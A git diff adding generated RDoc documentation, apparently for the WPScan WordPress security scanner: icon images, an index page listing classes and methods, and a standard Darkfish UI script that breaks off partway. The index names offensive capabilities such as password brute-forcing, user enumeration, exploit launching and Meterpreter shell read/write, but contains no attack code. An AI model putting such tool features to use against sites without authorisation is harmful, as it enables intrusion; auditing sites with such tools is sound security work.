diff --git a/doc/images/macFFBgHack.png b/doc/images/macFFBgHack.png
new file mode 100644
index 00000000..c6473b32
Binary files /dev/null and b/doc/images/macFFBgHack.png differ
diff --git a/doc/images/package.png b/doc/images/package.png
new file mode 100644
index 00000000..da3c2a2d
Binary files /dev/null and b/doc/images/package.png differ
diff --git a/doc/images/page_green.png b/doc/images/page_green.png
new file mode 100644
index 00000000..de8e003f
Binary files /dev/null and b/doc/images/page_green.png differ
diff --git a/doc/images/page_white_text.png b/doc/images/page_white_text.png
new file mode 100644
index 00000000..813f712f
Binary files /dev/null and b/doc/images/page_white_text.png differ
diff --git a/doc/images/page_white_width.png b/doc/images/page_white_width.png
new file mode 100644
index 00000000..1eb88094
Binary files /dev/null and b/doc/images/page_white_width.png differ
diff --git a/doc/images/plugin.png b/doc/images/plugin.png
new file mode 100644
index 00000000..6187b15a
Binary files /dev/null and b/doc/images/plugin.png differ
diff --git a/doc/images/ruby.png b/doc/images/ruby.png
new file mode 100644
index 00000000..f763a168
Binary files /dev/null and b/doc/images/ruby.png differ
diff --git a/doc/images/tag_green.png b/doc/images/tag_green.png
new file mode 100644
index 00000000..83ec984b
Binary files /dev/null and b/doc/images/tag_green.png differ
diff --git a/doc/images/wrench.png b/doc/images/wrench.png
new file mode 100644
index 00000000..5c8213fe
Binary files /dev/null and b/doc/images/wrench.png differ
diff --git a/doc/images/wrench_orange.png b/doc/images/wrench_orange.png
new file mode 100644
index 00000000..565a9330
Binary files /dev/null and b/doc/images/wrench_orange.png differ
diff --git a/doc/images/zoom.png b/doc/images/zoom.png
new file mode 100644
index 00000000..908612e3
Binary files /dev/null and b/doc/images/zoom.png differ
diff --git a/doc/index.html b/doc/index.html
new file mode 100644
index 00000000..21ff156f
--- /dev/null
+++ b/doc/index.html
@@ -0,0 +1,522 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
+  "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>RDoc Documentation</title>
+
+  <link type="text/css" media="screen" href="rdoc.css" rel="stylesheet" />
+
+  <script src="js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body class="indexpage">
+
+  
+  <h1>RDoc Documentation</h1>
+
+  
+  <p>This is the API documentation for 'RDoc Documentation'.</p>
+  
+
+  
+  
+  <h2>Files</h2>
+  <ul>
+    
+      <li class="file"><a href="CREDITS.html">CREDITS</a></li>
+    
+      <li class="file"><a href="Gemfile.html">Gemfile</a></li>
+    
+      <li class="file"><a href="README.html">README</a></li>
+    
+  </ul>
+  
+
+  <h2 id="classes">Classes/Modules</h2>
+  <ul>
+    
+    <li class="class"><a href="Array.html">Array</a></li>
+    
+    <li class="class"><a href="Browser.html">Browser</a></li>
+    
+    <li class="module"><a href="BruteForce.html">BruteForce</a></li>
+    
+    <li class="class"><a href="CacheFileStore.html">CacheFileStore</a></li>
+    
+    <li class="class"><a href="Exploit.html">Exploit</a></li>
+    
+    <li class="class"><a href="Generate_List.html">Generate_List</a></li>
+    
+    <li class="class"><a href="GitUpdater.html">GitUpdater</a></li>
+    
+    <li class="module"><a href="Malwares.html">Malwares</a></li>
+    
+    <li class="class"><a href="Object.html">Object</a></li>
+    
+    <li class="class"><a href="RpcClient.html">RpcClient</a></li>
+    
+    <li class="class"><a href="SvnUpdater.html">SvnUpdater</a></li>
+    
+    <li class="class"><a href="Svn_Parser.html">Svn_Parser</a></li>
+    
+    <li class="class"><a href="Updater.html">Updater</a></li>
+    
+    <li class="class"><a href="UpdaterFactory.html">UpdaterFactory</a></li>
+    
+    <li class="class"><a href="Vulnerable.html">Vulnerable</a></li>
+    
+    <li class="module"><a href="WebSite.html">WebSite</a></li>
+    
+    <li class="module"><a href="WpConfigBackup.html">WpConfigBackup</a></li>
+    
+    <li class="class"><a href="WpDetector.html">WpDetector</a></li>
+    
+    <li class="class"><a href="WpEnumerator.html">WpEnumerator</a></li>
+    
+    <li class="module"><a href="WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+    
+    <li class="class"><a href="WpItem.html">WpItem</a></li>
+    
+    <li class="module"><a href="WpLoginProtection.html">WpLoginProtection</a></li>
+    
+    <li class="class"><a href="WpOptions.html">WpOptions</a></li>
+    
+    <li class="class"><a href="WpPlugin.html">WpPlugin</a></li>
+    
+    <li class="module"><a href="WpPlugins.html">WpPlugins</a></li>
+    
+    <li class="module"><a href="WpReadme.html">WpReadme</a></li>
+    
+    <li class="class"><a href="WpTarget.html">WpTarget</a></li>
+    
+    <li class="class"><a href="WpTheme.html">WpTheme</a></li>
+    
+    <li class="module"><a href="WpThemes.html">WpThemes</a></li>
+    
+    <li class="module"><a href="WpTimthumbs.html">WpTimthumbs</a></li>
+    
+    <li class="class"><a href="WpUser.html">WpUser</a></li>
+    
+    <li class="module"><a href="WpUsernames.html">WpUsernames</a></li>
+    
+    <li class="class"><a href="WpVersion.html">WpVersion</a></li>
+    
+    <li class="class"><a href="WpVulnerability.html">WpVulnerability</a></li>
+    
+    <li class="class"><a href="WpscanOptions.html">WpscanOptions</a></li>
+    
+  </ul>
+
+  <h2 id="methods">Methods</h2>
+  <ul>
+    
+      <li><a href="WpDetector.html#method-c-aggressive_detection">::aggressive_detection &mdash; WpDetector</a></li>
+    
+      <li><a href="UpdaterFactory.html#method-c-available_updaters_classes">::available_updaters_classes &mdash; UpdaterFactory</a></li>
+    
+      <li><a href="WpOptions.html#method-c-check_options">::check_options &mdash; WpOptions</a></li>
+    
+      <li><a href="WpscanOptions.html#method-c-clean_option">::clean_option &mdash; WpscanOptions</a></li>
+    
+      <li><a href="WpConfigBackup.html#method-c-config_backup_files">::config_backup_files &mdash; WpConfigBackup</a></li>
+    
+      <li><a href="WpEnumerator.html#method-c-enumerate">::enumerate &mdash; WpEnumerator</a></li>
+    
+      <li><a href="WpTheme.html#method-c-find">::find &mdash; WpTheme</a></li>
+    
+      <li><a href="WpVersion.html#method-c-find">::find &mdash; WpVersion</a></li>
+    
+      <li><a href="WpVersion.html#method-c-find_from_advanced_fingerprinting">::find_from_advanced_fingerprinting &mdash; WpVersion</a></li>
+    
+      <li><a href="WpTheme.html#method-c-find_from_css_link">::find_from_css_link &mdash; WpTheme</a></li>
+    
+      <li><a href="WpVersion.html#method-c-find_from_links_opml">::find_from_links_opml &mdash; WpVersion</a></li>
+    
+      <li><a href="WpVersion.html#method-c-find_from_meta_generator">::find_from_meta_generator &mdash; WpVersion</a></li>
+    
+      <li><a href="WpVersion.html#method-c-find_from_readme">::find_from_readme &mdash; WpVersion</a></li>
+    
+      <li><a href="WpVersion.html#method-c-find_from_rss_generator">::find_from_rss_generator &mdash; WpVersion</a></li>
+    
+      <li><a href="WpVersion.html#method-c-find_from_sitemap_generator">::find_from_sitemap_generator &mdash; WpVersion</a></li>
+    
+      <li><a href="WpTheme.html#method-c-find_from_wooframework">::find_from_wooframework &mdash; WpTheme</a></li>
+    
+      <li><a href="WpEnumerator.html#method-c-generate_items">::generate_items &mdash; WpEnumerator</a></li>
+    
+      <li><a href="WpscanOptions.html#method-c-get_opt_long">::get_opt_long &mdash; WpscanOptions</a></li>
+    
+      <li><a href="UpdaterFactory.html#method-c-get_updater">::get_updater &mdash; UpdaterFactory</a></li>
+    
+      <li><a href="Browser.html#method-c-instance">::instance &mdash; Browser</a></li>
+    
+      <li><a href="WpscanOptions.html#method-c-is_long_option-3F">::is_long_option? &mdash; WpscanOptions</a></li>
+    
+      <li><a href="BruteForce.html#method-c-lines_in_file">::lines_in_file &mdash; BruteForce</a></li>
+    
+      <li><a href="WpscanOptions.html#method-c-load_from_arguments">::load_from_arguments &mdash; WpscanOptions</a></li>
+    
+      <li><a href="Malwares.html#method-c-malware_pattern">::malware_pattern &mdash; Malwares</a></li>
+    
+      <li><a href="Malwares.html#method-c-malwares_file">::malwares_file &mdash; Malwares</a></li>
+    
+      <li><a href="WpPlugin.html#method-c-new">::new &mdash; WpPlugin</a></li>
+    
+      <li><a href="Generate_List.html#method-c-new">::new &mdash; Generate_List</a></li>
+    
+      <li><a href="WpTarget.html#method-c-new">::new &mdash; WpTarget</a></li>
+    
+      <li><a href="CacheFileStore.html#method-c-new">::new &mdash; CacheFileStore</a></li>
+    
+      <li><a href="Exploit.html#method-c-new">::new &mdash; Exploit</a></li>
+    
+      <li><a href="WpUser.html#method-c-new">::new &mdash; WpUser</a></li>
+    
+      <li><a href="Svn_Parser.html#method-c-new">::new &mdash; Svn_Parser</a></li>
+    
+      <li><a href="WpscanOptions.html#method-c-new">::new &mdash; WpscanOptions</a></li>
+    
+      <li><a href="WpVulnerability.html#method-c-new">::new &mdash; WpVulnerability</a></li>
+    
+      <li><a href="Updater.html#method-c-new">::new &mdash; Updater</a></li>
+    
+      <li><a href="RpcClient.html#method-c-new">::new &mdash; RpcClient</a></li>
+    
+      <li><a href="WpTheme.html#method-c-new">::new &mdash; WpTheme</a></li>
+    
+      <li><a href="WpItem.html#method-c-new">::new &mdash; WpItem</a></li>
+    
+      <li><a href="WpVersion.html#method-c-new">::new &mdash; WpVersion</a></li>
+    
+      <li><a href="WpscanOptions.html#method-c-option_to_instance_variable_setter">::option_to_instance_variable_setter &mdash; WpscanOptions</a></li>
+    
+      <li><a href="WpDetector.html#method-c-passive_detection">::passive_detection &mdash; WpDetector</a></li>
+    
+      <li><a href="Browser.html#method-c-reset">::reset &mdash; Browser</a></li>
+    
+      <li><a href="WpTarget.html#method-c-valid_response_codes">::valid_response_codes &mdash; WpTarget</a></li>
+    
+      <li><a href="WpVersion.html#method-c-version_pattern">::version_pattern &mdash; WpVersion</a></li>
+    
+      <li><a href="WpItem.html#method-i-3C-3D-3E">#<=> &mdash; WpItem</a></li>
+    
+      <li><a href="WpUser.html#method-i-3C-3D-3E">#<=> &mdash; WpUser</a></li>
+    
+      <li><a href="WpItem.html#method-i-3D-3D">#== &mdash; WpItem</a></li>
+    
+      <li><a href="WpItem.html#method-i-3D-3D-3D">#=== &mdash; WpItem</a></li>
+    
+      <li><a href="WpTheme.html#method-i-3D-3D-3D">#=== &mdash; WpTheme</a></li>
+    
+      <li><a href="WpUser.html#method-i-3D-3D-3D">#=== &mdash; WpUser</a></li>
+    
+      <li><a href="Array.html#method-i-_grep_">#_grep_ &mdash; Array</a></li>
+    
+      <li><a href="Object.html#method-i-add_http_protocol">#add_http_protocol &mdash; Object</a></li>
+    
+      <li><a href="Object.html#method-i-add_trailing_slash">#add_trailing_slash &mdash; Object</a></li>
+    
+      <li><a href="RpcClient.html#method-i-authenticate">#authenticate &mdash; RpcClient</a></li>
+    
+      <li><a href="WpUsernames.html#method-i-author_url">#author_url &mdash; WpUsernames</a></li>
+    
+      <li><a href="Object.html#method-i-banner">#banner &mdash; Object</a></li>
+    
+      <li><a href="WpLoginProtection.html#method-i-better_wp_security_url">#better_wp_security_url &mdash; WpLoginProtection</a></li>
+    
+      <li><a href="WpLoginProtection.html#method-i-bluetrait_event_viewer_url">#bluetrait_event_viewer_url &mdash; WpLoginProtection</a></li>
+    
+      <li><a href="BruteForce.html#method-i-brute_force">#brute_force &mdash; BruteForce</a></li>
+    
+      <li><a href="WpItem.html#method-i-changelog_url">#changelog_url &mdash; WpItem</a></li>
+    
+      <li><a href="Exploit.html#method-i-choose_session">#choose_session &mdash; Exploit</a></li>
+    
+      <li><a href="CacheFileStore.html#method-i-clean">#clean &mdash; CacheFileStore</a></li>
+    
+      <li><a href="Object.html#method-i-colorize">#colorize &mdash; Object</a></li>
+    
+      <li><a href="WpConfigBackup.html#method-i-config_backup">#config_backup &mdash; WpConfigBackup</a></li>
+    
+      <li><a href="WpTarget.html#method-i-debug_log_url">#debug_log_url &mdash; WpTarget</a></li>
+    
+      <li><a href="WpItem.html#method-i-directory_listing-3F">#directory_listing? &mdash; WpItem</a></li>
+    
+      <li><a href="WpscanOptions.html#method-i-enumerate_only_vulnerable_plugins-3D">#enumerate_only_vulnerable_plugins= &mdash; WpscanOptions</a></li>
+    
+      <li><a href="WpscanOptions.html#method-i-enumerate_only_vulnerable_themes-3D">#enumerate_only_vulnerable_themes= &mdash; WpscanOptions</a></li>
+    
+      <li><a href="WpscanOptions.html#method-i-enumerate_options_from_string">#enumerate_options_from_string &mdash; WpscanOptions</a></li>
+    
+      <li><a href="WpscanOptions.html#method-i-enumerate_plugins-3D">#enumerate_plugins= &mdash; WpscanOptions</a></li>
+    
+      <li><a href="WpscanOptions.html#method-i-enumerate_themes-3D">#enumerate_themes= &mdash; WpscanOptions</a></li>
+    
+      <li><a href="WpUser.html#method-i-eql-3F">#eql? &mdash; WpUser</a></li>
+    
+      <li><a href="WpTarget.html#method-i-error_404_hash">#error_404_hash &mdash; WpTarget</a></li>
+    
+      <li><a href="WpPlugin.html#method-i-error_log-3F">#error_log? &mdash; WpPlugin</a></li>
+    
+      <li><a href="WpPlugin.html#method-i-error_log_url">#error_log_url &mdash; WpPlugin</a></li>
+    
+      <li><a href="Exploit.html#method-i-exploit">#exploit &mdash; Exploit</a></li>
+    
+      <li><a href="RpcClient.html#method-i-exploit">#exploit &mdash; RpcClient</a></li>
+    
+      <li><a href="Exploit.html#method-i-exploit_info">#exploit_info &mdash; Exploit</a></li>
+    
+      <li><a href="WpItem.html#method-i-extract_name_from_url">#extract_name_from_url &mdash; WpItem</a></li>
+    
+      <li><a href="WpUsernames.html#method-i-extract_nickname_from_body">#extract_nickname_from_body &mdash; WpUsernames</a></li>
+    
+      <li><a href="Browser.html#method-i-forge_request">#forge_request &mdash; Browser</a></li>
+    
+      <li><a href="WpFullPathDisclosure.html#method-i-full_path_disclosure_url">#full_path_disclosure_url &mdash; WpFullPathDisclosure</a></li>
+    
+      <li><a href="Generate_List.html#method-i-generate_full_list">#generate_full_list &mdash; Generate_List</a></li>
+    
+      <li><a href="Generate_List.html#method-i-generate_popular_list">#generate_popular_list &mdash; Generate_List</a></li>
+    
+      <li><a href="Browser.html#method-i-get">#get &mdash; Browser</a></li>
+    
+      <li><a href="CacheFileStore.html#method-i-get_entry_file_path">#get_entry_file_path &mdash; CacheFileStore</a></li>
+    
+      <li><a href="Object.html#method-i-get_equal_string_end">#get_equal_string_end &mdash; Object</a></li>
+    
+      <li><a href="RpcClient.html#method-i-get_exploit_info">#get_exploit_info &mdash; RpcClient</a></li>
+    
+      <li><a href="WpItem.html#method-i-get_full_url">#get_full_url &mdash; WpItem</a></li>
+    
+      <li><a href="WpUsernames.html#method-i-get_nickname_from_response">#get_nickname_from_response &mdash; WpUsernames</a></li>
+    
+      <li><a href="WpUsernames.html#method-i-get_nickname_from_url">#get_nickname_from_url &mdash; WpUsernames</a></li>
+    
+      <li><a href="RpcClient.html#method-i-get_options">#get_options &mdash; RpcClient</a></li>
+    
+      <li><a href="RpcClient.html#method-i-get_payloads">#get_payloads &mdash; RpcClient</a></li>
+    
+      <li><a href="Generate_List.html#method-i-get_popular_items">#get_popular_items &mdash; Generate_List</a></li>
+    
+      <li><a href="WpItem.html#method-i-get_sub_folder">#get_sub_folder &mdash; WpItem</a></li>
+    
+      <li><a href="WpItem.html#method-i-get_url_without_filename">#get_url_without_filename &mdash; WpItem</a></li>
+    
+      <li><a href="Object.html#method-i-green">#green &mdash; Object</a></li>
+    
+      <li><a href="Array.html#method-i-grep">#grep &mdash; Array</a></li>
+    
+      <li><a href="WpLoginProtection.html#method-i-has_better_wp_security_protection-3F">#has_better_wp_security_protection? &mdash; WpLoginProtection</a></li>
+    
+      <li><a href="WpLoginProtection.html#method-i-has_bluetrait_event_viewer_protection-3F">#has_bluetrait_event_viewer_protection? &mdash; WpLoginProtection</a></li>
+    
+      <li><a href="WpItem.html#method-i-has_changelog-3F">#has_changelog? &mdash; WpItem</a></li>
+    
+      <li><a href="WpTarget.html#method-i-has_debug_log-3F">#has_debug_log? &mdash; WpTarget</a></li>
+    
+      <li><a href="WpFullPathDisclosure.html#method-i-has_full_path_disclosure-3F">#has_full_path_disclosure? &mdash; WpFullPathDisclosure</a></li>
+    
+      <li><a href="WpLoginProtection.html#method-i-has_limit_login_attempts_protection-3F">#has_limit_login_attempts_protection? &mdash; WpLoginProtection</a></li>
+    
+      <li><a href="WpLoginProtection.html#method-i-has_login_lock_protection-3F">#has_login_lock_protection? &mdash; WpLoginProtection</a></li>
+    
+      <li><a href="WpLoginProtection.html#method-i-has_login_lockdown_protection-3F">#has_login_lockdown_protection? &mdash; WpLoginProtection</a></li>
+    
+      <li><a href="WpLoginProtection.html#method-i-has_login_protection-3F">#has_login_protection? &mdash; WpLoginProtection</a></li>
+    
+      <li><a href="WpLoginProtection.html#method-i-has_login_security_solution_protection-3F">#has_login_security_solution_protection? &mdash; WpLoginProtection</a></li>
+    
+      <li><a href="Malwares.html#method-i-has_malwares-3F">#has_malwares? &mdash; Malwares</a></li>
+    
+      <li><a href="WpscanOptions.html#method-i-has_options-3F">#has_options? &mdash; WpscanOptions</a></li>
+    
+      <li><a href="WpItem.html#method-i-has_readme-3F">#has_readme? &mdash; WpItem</a></li>
+    
+      <li><a href="WpReadme.html#method-i-has_readme-3F">#has_readme? &mdash; WpReadme</a></li>
+    
+      <li><a href="WpLoginProtection.html#method-i-has_simple_login_lockdown_protection-3F">#has_simple_login_lockdown_protection? &mdash; WpLoginProtection</a></li>
+    
+      <li><a href="WpTimthumbs.html#method-i-has_timthumbs-3F">#has_timthumbs? &mdash; WpTimthumbs</a></li>
+    
+      <li><a href="Object.html#method-i-help">#help &mdash; Object</a></li>
+    
+      <li><a href="SvnUpdater.html#method-i-is_installed-3F">#is_installed? &mdash; SvnUpdater</a></li>
+    
+      <li><a href="Updater.html#method-i-is_installed-3F">#is_installed? &mdash; Updater</a></li>
+    
+      <li><a href="GitUpdater.html#method-i-is_installed-3F">#is_installed? &mdash; GitUpdater</a></li>
+    
+      <li><a href="WpTarget.html#method-i-is_multisite-3F">#is_multisite? &mdash; WpTarget</a></li>
+    
+      <li><a href="WebSite.html#method-i-is_online-3F">#is_online? &mdash; WebSite</a></li>
+    
+      <li><a href="WebSite.html#method-i-is_wordpress-3F">#is_wordpress? &mdash; WebSite</a></li>
+    
+      <li><a href="Exploit.html#method-i-job_id">#job_id &mdash; Exploit</a></li>
+    
+      <li><a href="RpcClient.html#method-i-jobs">#jobs &mdash; RpcClient</a></li>
+    
+      <li><a href="Exploit.html#method-i-kill_session">#kill_session &mdash; Exploit</a></li>
+    
+      <li><a href="RpcClient.html#method-i-kill_session">#kill_session &mdash; RpcClient</a></li>
+    
+      <li><a href="Exploit.html#method-i-last_session_id">#last_session_id &mdash; Exploit</a></li>
+    
+      <li><a href="WpLoginProtection.html#method-i-limit_login_attempts_url">#limit_login_attempts_url &mdash; WpLoginProtection</a></li>
+    
+      <li><a href="Browser.html#method-i-load_config">#load_config &mdash; Browser</a></li>
+    
+      <li><a href="Updater.html#method-i-local_revision_number">#local_revision_number &mdash; Updater</a></li>
+    
+      <li><a href="SvnUpdater.html#method-i-local_revision_number">#local_revision_number &mdash; SvnUpdater</a></li>
+    
+      <li><a href="GitUpdater.html#method-i-local_revision_number">#local_revision_number &mdash; GitUpdater</a></li>
+    
+      <li><a href="RpcClient.html#method-i-login">#login &mdash; RpcClient</a></li>
+    
+      <li><a href="WpLoginProtection.html#method-i-login_protection_plugin">#login_protection_plugin &mdash; WpLoginProtection</a></li>
+    
+      <li><a href="WpLoginProtection.html#method-i-login_security_solution_url">#login_security_solution_url &mdash; WpLoginProtection</a></li>
+    
+      <li><a href="WpTarget.html#method-i-login_url">#login_url &mdash; WpTarget</a></li>
+    
+      <li><a href="Malwares.html#method-i-malwares">#malwares &mdash; Malwares</a></li>
+    
+      <li><a href="Browser.html#method-i-max_threads-3D">#max_threads= &mdash; Browser</a></li>
+    
+      <li><a href="Browser.html#method-i-merge_request_params">#merge_request_params &mdash; Browser</a></li>
+    
+      <li><a href="RpcClient.html#method-i-meterpreter_read">#meterpreter_read &mdash; RpcClient</a></li>
+    
+      <li><a href="Exploit.html#method-i-meterpreter_read">#meterpreter_read &mdash; Exploit</a></li>
+    
+      <li><a href="RpcClient.html#method-i-meterpreter_write">#meterpreter_write &mdash; RpcClient</a></li>
+    
+      <li><a href="Exploit.html#method-i-meterpreter_write">#meterpreter_write &mdash; Exploit</a></li>
+    
+      <li><a href="Svn_Parser.html#method-i-parse">#parse &mdash; Svn_Parser</a></li>
+    
+      <li><a href="WpPlugins.html#method-i-plugins_from_aggressive_detection">#plugins_from_aggressive_detection &mdash; WpPlugins</a></li>
+    
+      <li><a href="WpPlugins.html#method-i-plugins_from_passive_detection">#plugins_from_passive_detection &mdash; WpPlugins</a></li>
+    
+      <li><a href="Browser.html#method-i-post">#post &mdash; Browser</a></li>
+    
+      <li><a href="WpscanOptions.html#method-i-proxy-3D">#proxy= &mdash; WpscanOptions</a></li>
+    
+      <li><a href="Updater.html#method-i-raise_must_be_implemented">#raise_must_be_implemented &mdash; Updater</a></li>
+    
+      <li><a href="CacheFileStore.html#method-i-read_entry">#read_entry &mdash; CacheFileStore</a></li>
+    
+      <li><a href="RpcClient.html#method-i-read_shell">#read_shell &mdash; RpcClient</a></li>
+    
+      <li><a href="Exploit.html#method-i-read_shell">#read_shell &mdash; Exploit</a></li>
+    
+      <li><a href="WpItem.html#method-i-readme_url">#readme_url &mdash; WpItem</a></li>
+    
+      <li><a href="WpReadme.html#method-i-readme_url">#readme_url &mdash; WpReadme</a></li>
+    
+      <li><a href="Object.html#method-i-red">#red &mdash; Object</a></li>
+    
+      <li><a href="WebSite.html#method-i-redirection">#redirection &mdash; WebSite</a></li>
+    
+      <li><a href="WpTarget.html#method-i-registration_enabled-3F">#registration_enabled? &mdash; WpTarget</a></li>
+    
+      <li><a href="WpTarget.html#method-i-registration_url">#registration_url &mdash; WpTarget</a></li>
+    
+      <li><a href="WpUsernames.html#method-i-remove_junk_from_nickname">#remove_junk_from_nickname &mdash; WpUsernames</a></li>
+    
+      <li><a href="GitUpdater.html#method-i-repo_directory_arguments">#repo_directory_arguments &mdash; GitUpdater</a></li>
+    
+      <li><a href="Object.html#method-i-require_files_from_directory">#require_files_from_directory &mdash; Object</a></li>
+    
+      <li><a href="Generate_List.html#method-i-save">#save &mdash; Generate_List</a></li>
+    
+      <li><a href="WpTarget.html#method-i-search_replace_db_2_exists-3F">#search_replace_db_2_exists? &mdash; WpTarget</a></li>
+    
+      <li><a href="WpTarget.html#method-i-search_replace_db_2_url">#search_replace_db_2_url &mdash; WpTarget</a></li>
+    
+      <li><a href="Exploit.html#method-i-session_count">#session_count &mdash; Exploit</a></li>
+    
+      <li><a href="Exploit.html#method-i-sessions">#sessions &mdash; Exploit</a></li>
+    
+      <li><a href="RpcClient.html#method-i-sessions">#sessions &mdash; RpcClient</a></li>
+    
+      <li><a href="WpscanOptions.html#method-i-set_option_from_cli">#set_option_from_cli &mdash; WpscanOptions</a></li>
+    
+      <li><a href="WpLoginProtection.html#method-i-simple_login_lockdown_url">#simple_login_lockdown_url &mdash; WpLoginProtection</a></li>
+    
+      <li><a href="Exploit.html#method-i-start">#start &mdash; Exploit</a></li>
+    
+      <li><a href="WpTimthumbs.html#method-i-targets_url_from_theme">#targets_url_from_theme &mdash; WpTimthumbs</a></li>
+    
+      <li><a href="WpTarget.html#method-i-theme">#theme &mdash; WpTarget</a></li>
+    
+      <li><a href="WpThemes.html#method-i-themes_from_aggressive_detection">#themes_from_aggressive_detection &mdash; WpThemes</a></li>
+    
+      <li><a href="WpThemes.html#method-i-themes_from_passive_detection">#themes_from_passive_detection &mdash; WpThemes</a></li>
+    
+      <li><a href="WpscanOptions.html#method-i-threads-3D">#threads= &mdash; WpscanOptions</a></li>
+    
+      <li><a href="WpTimthumbs.html#method-i-timthumbs">#timthumbs &mdash; WpTimthumbs</a></li>
+    
+      <li><a href="WpscanOptions.html#method-i-to_h">#to_h &mdash; WpscanOptions</a></li>
+    
+      <li><a href="WpItem.html#method-i-to_s">#to_s &mdash; WpItem</a></li>
+    
+      <li><a href="Updater.html#method-i-update">#update &mdash; Updater</a></li>
+    
+      <li><a href="SvnUpdater.html#method-i-update">#update &mdash; SvnUpdater</a></li>
+    
+      <li><a href="GitUpdater.html#method-i-update">#update &mdash; GitUpdater</a></li>
+    
+      <li><a href="WpTarget.html#method-i-url">#url &mdash; WpTarget</a></li>
+    
+      <li><a href="WpscanOptions.html#method-i-url-3D">#url= &mdash; WpscanOptions</a></li>
+    
+      <li><a href="Object.html#method-i-usage">#usage &mdash; Object</a></li>
+    
+      <li><a href="Browser.html#method-i-user_agent">#user_agent &mdash; Browser</a></li>
+    
+      <li><a href="Browser.html#method-i-user_agent_mode-3D">#user_agent_mode= &mdash; Browser</a></li>
+    
+      <li><a href="WpUsernames.html#method-i-usernames">#usernames &mdash; WpUsernames</a></li>
+    
+      <li><a href="WpItem.html#method-i-version">#version &mdash; WpItem</a></li>
+    
+      <li><a href="WpTarget.html#method-i-version">#version &mdash; WpTarget</a></li>
+    
+      <li><a href="Vulnerable.html#method-i-vulnerabilities">#vulnerabilities &mdash; Vulnerable</a></li>
+    
+      <li><a href="WpscanOptions.html#method-i-wordlist-3D">#wordlist= &mdash; WpscanOptions</a></li>
+    
+      <li><a href="WpTarget.html#method-i-wp_content_dir">#wp_content_dir &mdash; WpTarget</a></li>
+    
+      <li><a href="WpTarget.html#method-i-wp_plugins_dir">#wp_plugins_dir &mdash; WpTarget</a></li>
+    
+      <li><a href="WpTarget.html#method-i-wp_plugins_dir_exists-3F">#wp_plugins_dir_exists? &mdash; WpTarget</a></li>
+    
+      <li><a href="CacheFileStore.html#method-i-write_entry">#write_entry &mdash; CacheFileStore</a></li>
+    
+      <li><a href="RpcClient.html#method-i-write_shell">#write_shell &mdash; RpcClient</a></li>
+    
+      <li><a href="Exploit.html#method-i-write_shell">#write_shell &mdash; Exploit</a></li>
+    
+      <li><a href="WebSite.html#method-i-xmlrpc_url">#xmlrpc_url &mdash; WebSite</a></li>
+    
+  </ul>
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+</body>
+</html>
diff --git a/doc/js/darkfish.js b/doc/js/darkfish.js
new file mode 100644
index 00000000..84565c1e
--- /dev/null
+++ b/doc/js/darkfish.js
@@ -0,0 +1,116 @@
+/**
+ *
+ * Darkfish Page Functions
+ * $Id: darkfish.js 53 2009-01-07 02:52:03Z deveiant $
+ *
+ * Author: Michael Granger <mgranger@laika.com>
+ *
+ */
+
+/* Provide console simulation for firebug-less environments */
+if (!("console" in window) || !("firebug" in console)) {
+    var names = ["log", "debug", "info", "warn", "error", "assert", "dir", "dirxml",
+    "group", "groupEnd", "time", "timeEnd", "count", "trace", "profile", "profileEnd"];
+
+    window.console = {};
+    for (var i = 0; i < names.length; ++i)
+        window.console[names[i]] = function() {};
+};
+
+
+/**
+ * Unwrap the first element that matches the given @expr@ from the targets and return them.
+ */
+$.fn.unwrap = function( expr ) {
+  return this.each( function() {
+     $(this).parents( expr ).eq( 0 ).after( this ).remove();
+  });
+};
+
+
+function showSource( e ) {
+	var target = e.target;
+	var codeSections = $(target).
+		parents('.method-detail').
+		find('.method-source-code');
+
+	$(target).
+		parents('.method-detail').
+		find('.method-source-code').
+		slideToggle();
+};
+
+function hookSourceViews() {
+	$('.method-description,.method-heading').click( showSource );
+};
+
+function toggleDebuggingSection() {
+	$('.debugging-section').slideToggle();
+};
+
+function hookDebuggingToggle() {
+	$('#debugging-toggle img').click( toggleDebuggingSection );
+};
+
+function hookQuickSearch() {
+	$('.quicksearch-field').each( function() {
+		var searchElems = $(this).parents('.section').find( 'li' );
+		var toggle = $(this).parents('.section').find('h3 .search-toggle');
+		// console.debug( "Toggle is: %o", toggle );
+		var qsbox = $(this).parents('form').get( 0 );
+
+		$(this).quicksearch( this, searchElems, {
+			noSearchResultsIndicator: 'no-class-search-results',
+			focusOnLoad: false
+		});
+		$(toggle).click( function() {
+			// console.debug( "Toggling qsbox: %o", qsbox );
+			$(qsbox).toggle();
+		});
+	});
+};
+
+function highlightTarget( anchor ) {
+	console.debug( "Highlighting target '%s'.", anchor );
+
+	$("a[name=" + anchor + "]").each( function() {
+		if ( !$(this).parent().parent().hasClass('target-section') ) {
+			console.debug( "Wrapping the target-section" );
+			$('div.method-detail').unwrap( 'div.target-section' );
+			$(this).parent().wrap( '<div class="target-section"></div>' );
+		} else {
+			console.debug( "Already wrapped." );
+		}
+	});
+};
+
+function highlightLocationTarget() {
+	console.debug( "Location hash: %s", window.location.hash );
+	if ( ! window.location.hash || window.location.hash.length == 0 ) return;
+
+	var anchor = window.location.hash.substring(1);
+	console.debug( "Found anchor: %s; matching %s", anchor, "a[name=" + anchor + "]" );
+
+	highlightTarget( anchor );
+};
+
+function highlightClickTarget( event ) {
+	console.debug( "Highlighting click target for event %o", event.target );
+	try {
+		var anchor = $(event.target).attr( 'href' ).substring(1);
+		console.debug( "Found target anchor: %s", anchor );
+		highlightTarget( anchor );
+	} catch ( err ) {
+		console.error( "Exception while highlighting: %o", err );
+	};
+};
+
+
+$(document).ready( function() {
+	hookSourceViews();
+	hookDebuggingToggle();
+	hookQuickSearch();
+	highlightLocationTarget();
+
